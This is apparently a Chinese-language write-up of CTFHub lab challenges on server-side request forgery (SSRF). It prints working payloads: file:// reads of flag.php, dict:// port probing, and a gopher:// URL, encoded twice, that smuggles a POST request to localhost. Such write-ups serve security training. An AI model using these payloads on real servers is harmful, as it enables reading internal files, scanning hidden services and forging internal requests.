内网访问
本题很简单,用bs抓包,然后在url中添加
127.0.0.1/flag.php
伪协议读取文件
提示:尝试去读取一下Web目录下的flag.php吧
一般遇到SSRF时,先测试所有的url协议
file:///
dict://
sftp://
ldap://
tftp://
gopher://
网站的根目录一般在var/www/html
file:///var/www/html/flag.php
端口扫描
提示:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,
扫描到8385
成功
也可以通过使用SSRF中的dict协议可以用来探测开放的端口
Payload: ?url=dict://127.0.0.1:8000
POST请求
提示:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
拿到KEY,这个题目因该就是告诉我需要给服务器发送一个KEY就能得到你想要的东西。但是页面上又什么都没有,这就需要我们构建一个POST请求包来发送这个KEY。
构造post请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=a41a37cf1194ed14a5114a5565fd65ff
#注意Content-Length那里,必须和你的POST请求长度一样
编码
?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=a41a37cf1194ed14a5114a5565fd65ff
然后把并把%0A替换成%0d%0A,结尾加上%0d%0A,并且末尾要加上%0d%0a(\r\n)
?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=a41a37cf1194ed14a5114a5565fd65ff%0d%0a
再进行一次URL编码
?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=a41a37cf1194ed14a5114a5565fd65ff